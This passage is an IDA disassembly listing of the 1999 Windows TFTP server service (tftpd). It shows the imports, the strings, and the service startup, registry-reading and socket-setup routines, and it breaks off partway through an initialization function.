;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : C7CD332F22B1526ABC8EE8272FAFDFAD
; File Name : u:\work\c7cd332f22b1526abc8ee8272fafdfad_orig.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 1000000
; Section 1. (virtual address 00001000)
; Virtual size : 00003310 ( 13072.)
; Section size in file : 00003400 ( 13312.)
; Offset to raw data for section: 00000600
; Flags 60000020: Text Executable Readable
; Alignment : default
;
; Imports from ADVAPI32.dll
;
include uni.inc ; see unicode subdir of ida for info on unicode
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Externs
; _idata
; LSTATUS __stdcall RegOpenKeyExA(HKEY hKey, LPCSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY phkResult)
extrn RegOpenKeyExA:dword ; CODE XREF: sub_10037BF+20p
; DATA XREF: sub_10037BF+20r
; BOOL __stdcall StartServiceCtrlDispatcherA(const SERVICE_TABLE_ENTRYA *lpServiceStartTable)
extrn StartServiceCtrlDispatcherA:dword ; CODE XREF: sub_1001570+DBp
; DATA XREF: sub_1001570+DBr
; LSTATUS __stdcall RegQueryValueExA(HKEY hKey, LPCSTR lpValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData)
extrn RegQueryValueExA:dword ; CODE XREF: sub_10037BF+64p
; sub_10037BF+99p ...
; LSTATUS __stdcall RegCloseKey(HKEY hKey)
extrn RegCloseKey:dword ; CODE XREF: sub_10037BF+143p
; DATA XREF: sub_10037BF+143r
; SERVICE_STATUS_HANDLE __stdcall RegisterServiceCtrlHandlerA(LPCSTR lpServiceName, LPHANDLER_FUNCTION lpHandlerProc)
extrn RegisterServiceCtrlHandlerA:dword ; CODE XREF: sub_1001665+4Ap
; DATA XREF: sub_1001665+4Ar
; BOOL __stdcall SetServiceStatus(SERVICE_STATUS_HANDLE hServiceStatus, LPSERVICE_STATUS lpServiceStatus)
extrn SetServiceStatus:dword ; CODE XREF: sub_1001665+6Ap
; sub_1001665+F7p ...
;
; Imports from KERNEL32.dll
;
; void __stdcall ExitProcess(UINT uExitCode)
extrn ExitProcess:dword ; CODE XREF: sub_1001570+EDp
; DATA XREF: sub_1001570+EDr
; DWORD __stdcall ExpandEnvironmentStringsA(LPCSTR lpSrc, LPSTR lpDst, DWORD nSize)
extrn ExpandEnvironmentStringsA:dword ; CODE XREF: sub_1003910+34p
; DATA XREF: sub_1003910+34r
; void __stdcall GetLocalTime(LPSYSTEMTIME lpSystemTime)
extrn GetLocalTime:dword ; CODE XREF: sub_1002A3D+35p
; DATA XREF: sub_1002A3D+35r
; void __stdcall DeleteCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
extrn DeleteCriticalSection:dword ; CODE XREF: sub_1002901+48p
; DATA XREF: sub_1002901+48r
; void __stdcall SetLastError(DWORD dwErrCode)
extrn SetLastError:dword ; CODE XREF: sub_10027E1+83p
; sub_1002F31+1C3p ...
; BOOL __stdcall SetEvent(HANDLE hEvent)
extrn SetEvent:dword ; CODE XREF: sub_1001E73+36p
; DATA XREF: sub_1001E73+36r
; DWORD __stdcall ResumeThread(HANDLE hThread)
extrn ResumeThread:dword ; CODE XREF: HandlerProc+38p
; DATA XREF: HandlerProc+38r
; DWORD __stdcall GetLastError()
extrn GetLastError:dword ; CODE XREF: sub_1001570+E5p
; sub_1001665:loc_1001762p ...
; DWORD __stdcall WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds)
extrn WaitForSingleObject:dword ; CODE XREF: sub_1001665+210p
; sub_1001A91+1ABp
; DATA XREF: ...
; HANDLE __stdcall CreateEventA(LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitialState, LPCSTR lpName)
extrn CreateEventA:dword ; CODE XREF: sub_1001665+7Ep
; sub_1001665+89p ...
; void __stdcall InitializeCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
extrn InitializeCriticalSection:dword ; CODE XREF: sub_10018DB+12p
; sub_10018DB+19p ...
; HANDLE __stdcall HeapCreate(DWORD flOptions, SIZE_T dwInitialSize, SIZE_T dwMaximumSize)
extrn HeapCreate:dword ; CODE XREF: sub_10019F0+23p
; DATA XREF: sub_10019F0+23r
; void __stdcall LeaveCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
extrn LeaveCriticalSection:dword ; CODE XREF: sub_1001A1F+68p
; sub_1001A91+B5p ...
; BOOL __stdcall HeapFree(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem)
extrn HeapFree:dword ; CODE XREF: sub_1001A1F+58p
; DATA XREF: sub_1001A1F+58r
; BOOL __stdcall CloseHandle(HANDLE hObject)
extrn CloseHandle:dword ; CODE XREF: sub_1001A1F+49p
; sub_1001E73+A9p ...
; void __stdcall EnterCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
extrn EnterCriticalSection:dword ; CODE XREF: sub_1001A1F+Bp
; sub_1001A91+4Ep ...
; LONG __stdcall InterlockedIncrement(volatile LONG *lpAddend)
extrn InterlockedIncrement:dword ; CODE XREF: sub_1001A91+27Cp
; sub_1001A91+2C1p
; DATA XREF: ...
; DWORD __stdcall WaitForMultipleObjects(DWORD nCount, const HANDLE *lpHandles, BOOL bWaitAll, DWORD dwMilliseconds)
extrn WaitForMultipleObjects:dword ; CODE XREF: sub_1001A91+158p
; DATA XREF: sub_1001A91+158r
; LPVOID __stdcall HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes)
extrn HeapAlloc:dword ; CODE XREF: sub_1001A91+93p
; DATA XREF: sub_1001A91+93r
; BOOL __stdcall ResetEvent(HANDLE hEvent)
extrn ResetEvent:dword ; CODE XREF: sub_1001A91+75p
; DATA XREF: sub_1001A91+75r
; void __stdcall Sleep(DWORD dwMilliseconds)
extrn Sleep:dword ; CODE XREF: .text:01001D94p
; sub_100205A+4Ep
; DATA XREF: ...
; BOOL __stdcall TryEnterCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
extrn TryEnterCriticalSection:dword ; CODE XREF: .text:01001D89p
; .text:01001D9Bp
; DATA XREF: ...
; DWORD __stdcall SuspendThread(HANDLE hThread)
extrn SuspendThread:dword ; CODE XREF: HandlerProc+50p
; DATA XREF: HandlerProc+50r
;
; Imports from MSVCRT.dll
;
extrn __imp__initterm:dword ; DATA XREF: _inittermr
extrn __getmainargs:dword ; CODE XREF: .text:01003B18p
; DATA XREF: .text:01003B18r
extrn __setusermatherr:dword ; CODE XREF: .text:01003AD8p
; DATA XREF: .text:01003AD8r
extrn _lseek:dword ; CODE XREF: sub_1002F31+1F0p
; sub_1002F31+20Ap
; DATA XREF: ...
extrn _close:dword ; CODE XREF: sub_1002953+11p
; DATA XREF: sub_1002953+11r
extrn _read:dword ; CODE XREF: sub_10027E1+63p
; DATA XREF: sub_10027E1+63r
; void *__cdecl malloc(size_t Size)
extrn malloc:dword ; CODE XREF: sub_1001FA6+30p
; sub_100205A+93p ...
; void *__cdecl realloc(void *Memory, size_t NewSize)
extrn realloc:dword ; CODE XREF: sub_1001FA6+55p
; DATA XREF: sub_1001FA6+55r
; int __cdecl fclose(FILE *File)
extrn fclose:dword ; CODE XREF: sub_1001E73+CDp
; DATA XREF: sub_1001E73+CDr
; void __cdecl free(void *Memory)
extrn free:dword ; CODE XREF: sub_10018DB+75p
; sub_1001F54+47p ...
; time_t __cdecl time(time_t *Time)
extrn time:dword ; CODE XREF: sub_1001665+114p
; HandlerProc+8p
; DATA XREF: ...
extrn _chdir:dword ; CODE XREF: sub_1001665+19Fp
; sub_1001665+1BEp
; DATA XREF: ...
; int *__cdecl errno()
extrn _errno:dword ; CODE XREF: sub_1001665+1A7p
; sub_10027E1+7Dp ...
extrn _mkdir:dword ; CODE XREF: sub_1001665+1AEp
; DATA XREF: sub_1001665+1AEr
; FILE *__cdecl fopen(const char *Filename, const char *Mode)
extrn fopen:dword ; CODE XREF: sub_1001665+1DBp
; DATA XREF: sub_1001665+1DBr
; char *__cdecl ctime(const time_t *Time)
extrn ctime:dword ; CODE XREF: sub_1001665+1F7p
; HandlerProc+19p
; DATA XREF: ...
; unsigned int __cdecl _controlfp(unsigned int NewValue, unsigned int Mask)
extrn __imp__controlfp:dword ; DATA XREF: _controlfpr
extrn _except_handler3:dword ; DATA XREF: .text:loc_1003BF0r
extrn __set_app_type:dword ; CODE XREF: .text:01003A7Fp
; DATA XREF: .text:01003A7Fr
extrn __p__fmode:dword ; CODE XREF: .text:01003A9Cp
; DATA XREF: .text:01003A9Cr
extrn __p__commode:dword ; CODE XREF: .text:01003AAAp
; DATA XREF: .text:01003AAAr
extrn _adjust_fdiv:dword ; DATA XREF: .text:01003AB8r
; int printf(const char *Format, ...)
extrn printf:dword ; CODE XREF: sub_1001570+52p
; sub_1001570+5Fp ...
extrn __p___initenv:dword ; CODE XREF: .text:01003B33p
; DATA XREF: .text:01003B33r
extrn __imp__XcptFilter:dword ; DATA XREF: _XcptFilterr
; void __cdecl exit(int Code)
extrn _exit:dword ; CODE XREF: .text:01003B7Ap
; DATA XREF: .text:01003B7Ar
extrn _open:dword ; CODE XREF: sub_1002F31+1A6p
; sub_100333A+1B9p
; DATA XREF: ...
extrn _write:dword ; CODE XREF: sub_100373A+5Bp
; DATA XREF: sub_100373A+5Br
; void __cdecl exit(int Code)
extrn exit:dword ; CODE XREF: sub_1001570+CFp
; sub_1001665+C0p ...
;
; Imports from WS2_32.dll
;
; SOCKET __stdcall WSASocketA(int af, int type, int protocol, LPWSAPROTOCOL_INFOA lpProtocolInfo, GROUP g, DWORD dwFlags)
extrn WSASocketA:dword ; CODE XREF: sub_100205A+17p
; DATA XREF: sub_100205A+17r
; int __stdcall WSAGetLastError()
extrn WSAGetLastError:dword ; CODE XREF: sub_1001665+B1p
; sub_1001A91+12Bp ...
; int __stdcall WSAStartup(WORD wVersionRequested, LPWSADATA lpWSAData)
extrn WSAStartup:dword ; CODE XREF: sub_1001665+A6p
; DATA XREF: sub_1001665+A6r
; int __stdcall WSAEventSelect(SOCKET s, HANDLE hEventObject, __int32 lNetworkEvents)
extrn WSAEventSelect:dword ; CODE XREF: sub_100188E+Cp
; DATA XREF: sub_100188E+Cr
; u_short __stdcall htons(u_short hostshort)
extrn htons:dword ; CODE XREF: sub_1001A91+1D2p
; sub_100230A+18p ...
; BOOL __stdcall WSAGetOverlappedResult(SOCKET s, LPWSAOVERLAPPED lpOverlapped, LPDWORD lpcbTransfer, BOOL fWait, LPDWORD lpdwFlags)
extrn WSAGetOverlappedResult:dword ; CODE XREF: sub_1001A91+18Ep
; DATA XREF: sub_1001A91+18Er
; u_short __stdcall ntohs(u_short netshort)
extrn ntohs:dword ; CODE XREF: sub_1001A91+11Ep
; sub_1002A3D+40p ...
; int __stdcall WSARecvFrom(SOCKET s, LPWSABUF lpBuffers, DWORD dwBufferCount, LPDWORD lpNumberOfBytesRecvd, LPDWORD lpFlags, struct sockaddr *lpFrom, LPINT lpFromlen, LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine)
extrn WSARecvFrom:dword ; CODE XREF: sub_1001A91+10Fp
; DATA XREF: sub_1001A91+10Fr
; int __stdcall ioctlsocket(SOCKET s, __int32 cmd, u_long *argp)
extrn ioctlsocket:dword ; CODE XREF: sub_1001A91+2Ap
; DATA XREF: sub_1001A91+2Ar
; BOOL __stdcall WSACloseEvent(HANDLE hEvent)
extrn WSACloseEvent:dword ; CODE XREF: sub_1001F54+1Cp
; DATA XREF: sub_1001F54+1Cr
; int __stdcall closesocket(SOCKET s)
extrn closesocket:dword ; CODE XREF: sub_1001F54+13p
; sub_100205A+E7p ...
; char *__stdcall inet_ntoa(struct in_addr in)
extrn inet_ntoa:dword ; CODE XREF: sub_1002024+4p
; sub_1002F31+64p ...
; int __stdcall bind(SOCKET s, const struct sockaddr *name, int namelen)
extrn bind:dword ; CODE XREF: sub_100205A+7Ap
; sub_1002F31+256p ...
; struct servent *__stdcall getservbyname(const char *name, const char *proto)
extrn getservbyname:dword ; CODE XREF: sub_100205A+37p
; DATA XREF: sub_100205A+37r
; SOCKET __stdcall socket(int af, int type, int protocol)
extrn socket:dword ; CODE XREF: sub_1002F31+22Ep
; sub_100333A+1EBp
; DATA XREF: ...
; int __stdcall sendto(SOCKET s, const char *buf, int len, int flags, const struct sockaddr *to, int tolen)
extrn sendto:dword ; CODE XREF: sub_100230A+B6p
; sub_1002A3D+65p ...
;
; Imports from iphlpapi.dll
;
; DWORD __stdcall NotifyAddrChange(PHANDLE Handle, LPOVERLAPPED overlapped)
extrn __imp_NotifyAddrChange:dword ; DATA XREF: NotifyAddrChanger
; DWORD __stdcall GetIpAddrTable(PMIB_IPADDRTABLE pIpAddrTable, PULONG pdwSize, BOOL bOrder)
extrn __imp_GetIpAddrTable:dword ; DATA XREF: GetIpAddrTabler
;
; Imports from ntdll.dll
;
; void *__cdecl memmove(void *Dst, const void *Src, size_t Size)
extrn memmove:dword ; CODE XREF: sub_100273D+72p
; DATA XREF: sub_100273D+72r
; char *__cdecl strncpy(char *Dest, const char *Source, size_t Count)
extrn strncpy:dword ; CODE XREF: sub_1003910+24p
; DATA XREF: sub_1003910+24r
; int __cdecl isupper(int C)
extrn isupper:dword ; CODE XREF: sub_100333A+86p
; DATA XREF: sub_100333A+86r
; int __cdecl tolower(int C)
extrn tolower:dword ; CODE XREF: sub_1002F31+88p
; sub_100333A+95p
; DATA XREF: ...
extrn RtlUpdateTimer:dword ; CODE XREF: sub_1002A3D+BCp
; sub_1002B5E+114p ...
extrn RtlDeleteTimer:dword ; CODE XREF: sub_1002901+27p
; sub_1002A3D+FDp ...
; int __cdecl stricmp(const char *Str1, const char *Str2)
extrn _stricmp:dword ; CODE XREF: sub_10023D8+54p
; sub_10023D8+C6p ...
; int __cdecl atoi(const char *Str)
extrn atoi:dword ; CODE XREF: sub_10023D8+81p
; sub_10023D8+F2p
; DATA XREF: ...
; char *__cdecl itoa(int Val, char *DstBuf, int Radix)
extrn _itoa:dword ; CODE XREF: sub_10023D8:loc_1002597p
; DATA XREF: sub_10023D8:loc_1002597r
extrn RtlDeregisterWaitEx:dword ; CODE XREF: sub_1001F54+Ap
; sub_1002901+35p
; DATA XREF: ...
extrn __imp__chkstk:dword ; DATA XREF: _chkstkr
extrn RtlCreateTimerQueue:dword ; CODE XREF: sub_10018DB+81p
; DATA XREF: sub_10018DB+81r
extrn RtlRegisterWait:dword ; CODE XREF: sub_100188E+40p
; sub_10018DB+D6p
; DATA XREF: ...
extrn RtlCreateTimer:dword ; CODE XREF: sub_10018DB+A8p
; sub_1002F31+34Dp ...
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Execute
_text segment para public 'CODE' use32
assume cs:_text
;org 100117Ch
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dd 2 dup(0)
dd 37ECADD7h, 0
dd 4, 110h, 0
dd 4C00h, 0
dd 37ECADD7h, 0
dd 3, 310h, 0
dd 4D10h, 0
dd 37ECADD7h, 0
dd 6, 2 dup(0)
dd 5020h, 0
dd 37ECADD7h, 0
dd 2, 1Ah, 0
db 90h
db 0FEh, 0A7h, 0FFh
aDNtPrivateNetS db 'D:\nt\private\net\sockets\tcpsvcs\tftpd\tftpd.c built Sep 24 1999'
db ' 22:17:18',0Ah,0
; char aOWritableFiles[]
aOWritableFiles db ' o writable files keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+C4o
; char aWritable[]
aWritable db 'writable',0 ; DATA XREF: sub_1001570+BFo
; sub_10037BF+121o
align 4
; char aOReadableFiles[]
aOReadableFiles db ' o Readable files keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+B6o
; char aReadable[]
aReadable db 'readable',0 ; DATA XREF: sub_1001570+B1o
; sub_10037BF+F1o
align 4
; char aOValidmastersK[]
aOValidmastersK db ' o ValidMasters keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+A8o
; char aMasters[]
aMasters db 'masters',0 ; DATA XREF: sub_1001570+A3o
; sub_10037BF+C1o
; char aOValidclientsK[]
aOValidclientsK db ' o ValidClients keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+9Ao
; char aClients[]
aClients db 'clients',0 ; DATA XREF: sub_1001570+95o
; sub_10037BF+8Eo
; char aTheseKeysAreSh[]
aTheseKeysAreSh db 'These keys are shell patterns with * and ? (see examples above):',0Ah
; DATA XREF: sub_1001570+8Do
db 0
align 4
; char aOStartdirector[]
aOStartdirector db ' o StartDirectory keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+84o
; char ValueName[]
ValueName db 'directory',0 ; DATA XREF: sub_1001570+7Fo
; sub_10037BF+5Co
align 4
; char aRegistryKeyNam[]
aRegistryKeyNam db 'Registry key names, all strings: HKEY_LOCAL_MACHINE %s',0Ah,0
; DATA XREF: sub_1001570+76o
; char SubKey[]
SubKey db 'System\CurrentControlSet\Services\tftpd\parameters',0
; DATA XREF: sub_1001570+71o
; sub_10037BF+13o
align 10h
; char aTftpd_logfileI[]
aTftpd_logfileI db ' TFTPD_LOGFILE is %s',0Ah ; DATA XREF: sub_1001570+68o
db 0Ah,0
align 4
; char Filename[]
Filename db 'tftpd.log',0 ; DATA XREF: sub_1001570+63o
; sub_1001665+1D6o
align 4
; char aTftpd_default_[]
aTftpd_default_ db ' TFTPD_DEFAULT_DIR is %s',0Ah,0 ; DATA XREF: sub_1001570+5Ao
align 4
; char Source[]
Source db '\tftpdroot\',0 ; DATA XREF: sub_1001570+55o
; sub_1003910+1Eo
a? db '-?',0 ; DATA XREF: sub_1001570+10o
align 4
; char Mode[]
Mode db 'a+',0 ; DATA XREF: sub_1001665+1D1o
align 4
; char name[]
name db 'tftp',0 ; DATA XREF: sub_100205A+31o
align 10h
; char proto[]
proto db 'udp',0 ; DATA XREF: sub_100205A+2Co
aOptionNegotiat db 'Option negotiation failure',0 ; DATA XREF: .data:01005CE0o
align 10h
aNoSuchUser db 'No such user',0 ; DATA XREF: .data:01005CDCo
align 10h
aFileAlreadyExi db 'File already exists',0 ; DATA XREF: .data:01005CD8o
aUnknownTransfe db 'Unknown transfer ID',0 ; DATA XREF: .data:01005CD4o
aIllegalTftpOpe db 'Illegal TFTP operation',0 ; DATA XREF: .data:01005CD0o
align 10h
aDiskFullOrAllo db 'Disk full or allocation exceeded',0 ; DATA XREF: .data:01005CCCo
align 4
aAccessViolatio db 'Access violation',0 ; DATA XREF: .data:01005CC8o
align 4
aFileNotFound db 'File not found',0 ; DATA XREF: .data:01005CC4o
align 4
aErrorUndefined db 'Error undefined',0 ; DATA XREF: .data:off_1005CC0o
; char aTsize[]
aTsize db 'tsize',0 ; DATA XREF: sub_10023D8:loc_100251Ao
align 10h
; char aTimeout_0[]
aTimeout_0 db 'timeout',0 ; DATA XREF: sub_10023D8:loc_1002498o
; char Str2[]
Str2 db 'blksize',0 ; DATA XREF: sub_10023D8+4Eo
aTimeout db 'Timeout',0 ; DATA XREF: sub_1002A3D+D2o
aInsufficientRe db 'Insufficient resources',0 ; DATA XREF: sub_1002F31:loc_1003197o
; sub_100333A+201o ...
align 10h
aFileNameTooLon db 'File name too long',0 ; DATA XREF: sub_1002F31+195o
; sub_100333A+1A0o
align 4
aMalformedFileN db 'Malformed file name',0 ; DATA XREF: sub_1002F31+139o
; sub_100333A+159o
aOctet db 'octet',0 ; DATA XREF: sub_1002F31+D2o
; sub_100333A:loc_100341Fo
align 10h
aNetascii db 'netascii',0 ; DATA XREF: sub_1002F31+9Fo
; sub_100333A:loc_10033E1o
align 4
asc_100155C: ; DATA XREF: sub_1003910+7Fo
unicode 0, <\>,0
dword_1001560 dd 0FFFFFFFFh, 1003B5Eh, 1003B73h, 0
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_1001570 proc near ; CODE XREF: .text:01003B4Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 1
push esi
jle loc_1001646
mov eax, [esp+4+arg_4]
mov esi, offset a? ; "-?"
mov eax, [eax+4]
loc_1001588: ; CODE XREF: sub_1001570+34j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_10015AA
test cl, cl
jz short loc_10015A6
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_10015AA
inc eax
inc eax
inc esi
inc esi
test cl, cl
jnz short loc_1001588
loc_10015A6: ; CODE XREF: sub_1001570+22j
xor eax, eax
jmp short loc_10015AF
; ---------------------------------------------------------------------------
loc_10015AA: ; CODE XREF: sub_1001570+1Ej
; sub_1001570+2Cj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_10015AF: ; CODE XREF: sub_1001570+38j
test eax, eax
jnz loc_1001646
mov esi, ds:printf
push offset Format ; " ======================================"...
call esi ; printf
pop ecx
push offset Source ; "\\tftpdroot\\"
push offset aTftpd_default_ ; " TFTPD_DEFAULT_DIR is %s\n"
call esi ; printf
pop ecx
pop ecx
push offset Filename ; "tftpd.log"
push offset aTftpd_logfileI ; " TFTPD_LOGFILE is %s\n\n"
call esi ; printf
pop ecx
pop ecx
push offset SubKey ; "System\\CurrentControlSet\\Services\\tftpd"...
push offset aRegistryKeyNam ; "Registry key names, all strings: HKEY_L"...
call esi ; printf
pop ecx
pop ecx
push offset ValueName ; "directory"
push offset aOStartdirector ; " o StartDirectory keyname \"%s\"\n"
call esi ; printf
pop ecx
pop ecx
push offset aTheseKeysAreSh ; "These keys are shell patterns with * an"...
call esi ; printf
pop ecx
push offset aClients ; "clients"
push offset aOValidclientsK ; " o ValidClients keyname \"%s\"\n"
call esi ; printf
pop ecx
pop ecx
push offset aMasters ; "masters"
push offset aOValidmastersK ; " o ValidMasters keyname \"%s\"\n"
call esi ; printf
pop ecx
pop ecx
push offset aReadable ; "readable"
push offset aOReadableFiles ; " o Readable files keyname \"%s\"\n"
call esi ; printf
pop ecx
pop ecx
push offset aWritable ; "writable"
push offset aOWritableFiles ; " o writable files keyname \"%s\"\n"
call esi ; printf
pop ecx
pop ecx
push 0FFFFFFFFh ; Code
call ds:exit ; exit
; ---------------------------------------------------------------------------
pop ecx
loc_1001646: ; CODE XREF: sub_1001570+6j
; sub_1001570+41j
push offset ServiceStartTable ; lpServiceStartTable
call ds:StartServiceCtrlDispatcherA ; StartServiceCtrlDispatcherA
test eax, eax
jnz short loc_100165B
call ds:GetLastError
loc_100165B: ; CODE XREF: sub_1001570+E3j
push 0 ; uExitCode
call ds:ExitProcess ; ExitProcess
sub_1001570 endp
; ---------------------------------------------------------------------------
pop esi
retn
; =============== S U B R O U T I N E =======================================
sub_1001665 proc near ; DATA XREF: .data:ServiceStartTableo
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push ebp
push esi
push edi
xor ebp, ebp
push offset HandlerProc ; lpHandlerProc
push offset ServiceName ; "Tftpd"
mov ServiceStatus.dwServiceType, 30h
mov ServiceStatus.dwCurrentState, 2
mov ServiceStatus.dwControlsAccepted, ebp
mov ServiceStatus.dwCheckPoint, 1
mov ServiceStatus.dwWaitHint, 4E20h
mov ServiceStatus.dwWin32ExitCode, ebp
mov ServiceStatus.dwServiceSpecificExitCode, ebp
call ds:RegisterServiceCtrlHandlerA ; RegisterServiceCtrlHandlerA
cmp eax, ebp
mov hServiceStatus, eax
jz loc_1001762
mov esi, ds:SetServiceStatus
mov edi, offset ServiceStatus
push edi ; lpServiceStatus
push eax ; hServiceStatus
call esi ; SetServiceStatus
cmp eax, ebp
jz loc_1001762
mov ebx, ds:CreateEventA
push ebp ; lpName
push ebp ; bInitialState
push ebp ; bManualReset
push ebp ; lpEventAttributes
call ebx ; CreateEventA
push ebp ; lpName
push ebp ; bInitialState
push ebp ; bManualReset
push ebp ; lpEventAttributes
mov hHandle, eax
call ebx ; CreateEventA
cmp hHandle, ebp
mov hObject, eax
jz short loc_100171C
cmp eax, ebp
jz short loc_100171C
push offset stru_1006140 ; lpWSAData
push 101h ; wVersionRequested
call ds:WSAStartup ; WSAStartup
cmp eax, 0FFFFFFFFh
jnz short loc_1001735
call ds:WSAGetLastError ; WSAGetLastError
loc_100171C: ; CODE XREF: sub_1001665+96j
; sub_1001665+9Aj ...
push 1Fh
call sub_1001E73
push 1 ; Code
call ds:exit ; exit
; ---------------------------------------------------------------------------
pop ecx
loc_100172C: ; CODE XREF: sub_1001665+218j
; sub_1001665+224j
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_1001735: ; CODE XREF: sub_1001665+AFj
push edi ; lpServiceStatus
mov ServiceStatus.dwCurrentState, 4
push hServiceStatus ; hServiceStatus
mov ServiceStatus.dwControlsAccepted, 7
mov ServiceStatus.dwCheckPoint, ebp
mov ServiceStatus.dwWaitHint, ebp
call esi ; SetServiceStatus
cmp eax, ebp
jnz short loc_100176A
loc_1001762: ; CODE XREF: sub_1001665+57j
; sub_1001665+6Ej
call ds:GetLastError
jmp short loc_100171C
; ---------------------------------------------------------------------------
loc_100176A: ; CODE XREF: sub_1001665+FBj
push 9
pop ecx
xor eax, eax
mov edx, offset Time
mov edi, edx
rep stosd
push edx ; Time
call ds:time ; time
pop ecx
mov edx, [esp+10h+arg_0]
dec edx
mov ebx, (offset dword_1005E07+1)
jz short loc_10017F3
mov eax, [esp+10h+arg_4]
lea eax, [eax+edx*4]
mov [esp+10h+arg_0], eax
loc_1001797: ; CODE XREF: sub_1001665+18Cj
mov eax, [esp+10h+arg_0]
mov eax, [eax]
cmp byte ptr [eax], 2Dh
jnz short loc_10017F3
movsx ecx, byte ptr [eax+1]
sub ecx, 64h
jz short loc_10017C9
dec ecx
jz short loc_10017BD
dec ecx
jnz short loc_10017E9
mov dword_1005DD8, 1
jmp short loc_10017E9
; ---------------------------------------------------------------------------
loc_10017BD: ; CODE XREF: sub_1001665+147j
mov dword_1005DD4, 1
jmp short loc_10017E9
; ---------------------------------------------------------------------------
loc_10017C9: ; CODE XREF: sub_1001665+144j
lea edi, [eax+2]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
loc_10017E9: ; CODE XREF: sub_1001665+14Aj
; sub_1001665+156j ...
sub [esp+10h+arg_0], 4
dec edx
cmp edx, ebp
ja short loc_1001797
loc_10017F3: ; CODE XREF: sub_1001665+125j
; sub_1001665+13Bj
call sub_10037BF
call sub_1003910
mov esi, ds:_chdir
push ebx
call esi ; _chdir
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_100182E
call ds:_errno ; _errno
push ebx
call ds:_mkdir ; _mkdir
cmp eax, ebp
pop ecx
jnz loc_100171C
push ebx
call esi ; _chdir
cmp eax, ebp
pop ecx
jnz loc_100171C
loc_100182E: ; CODE XREF: sub_1001665+1A5j
cmp dword_1005DD8, ebp
jz short loc_1001857
push offset Mode ; "a+"
push offset Filename ; "tftpd.log"
call ds:fopen ; fopen
pop ecx
cmp eax, ebp
pop ecx
mov File, eax
jnz short loc_1001857
mov dword_1005DD8, ebp
loc_1001857: ; CODE XREF: sub_1001665+1CFj
; sub_1001665+1EAj
push offset Time ; Time
call ds:ctime ; ctime
pop ecx
call sub_10018DB
call sub_10019F0
push 0FFFFFFFFh ; dwMilliseconds
push hHandle ; hHandle
call ds:WaitForSingleObject ; WaitForSingleObject
cmp eax, ebp
jz loc_100172C
call ds:GetLastError
jmp loc_100172C
sub_1001665 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_100188E(SOCKET s, HANDLE hEventObject, char)
sub_100188E proc near ; CODE XREF: sub_100205A+D5p
; sub_1002F31+2A8p ...
var_4 = dword ptr -4
s = dword ptr 8
hEventObject = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push ecx
push 3 ; lNetworkEvents
push [ebp+hEventObject] ; hEventObject
push [ebp+s] ; s
call ds:WSAEventSelect ; WSAEventSelect
test eax, eax
jz short loc_10018AE
call ds:GetLastError
xor eax, eax
jmp short locret_10018D7
; ---------------------------------------------------------------------------
loc_10018AE: ; CODE XREF: sub_100188E+14j
test [ebp+arg_8], 1
push 0
push 0FFFFFFFFh
push [ebp+s]
jz short loc_10018C2
push offset loc_1001D74
jmp short loc_10018C7
; ---------------------------------------------------------------------------
loc_10018C2: ; CODE XREF: sub_100188E+2Bj
push offset loc_1001DDB
loc_10018C7: ; CODE XREF: sub_100188E+32j
push [ebp+hEventObject]
lea eax, [ebp+var_4]
push eax
call ds:RtlRegisterWait ; RtlRegisterWait
mov eax, [ebp+var_4]
locret_10018D7: ; CODE XREF: sub_100188E+1Ej
leave
retn 0Ch
sub_100188E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10018DB proc near ; CODE XREF: sub_1001665+1FEp
Memory = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ds:InitializeCriticalSection
push edi
push offset CriticalSection ; lpCriticalSection
call esi ; InitializeCriticalSection
push offset stru_1006020 ; lpCriticalSection
call esi ; InitializeCriticalSection
mov eax, offset dword_1006098
mov dword_100609C, eax
mov dword_1006098, eax
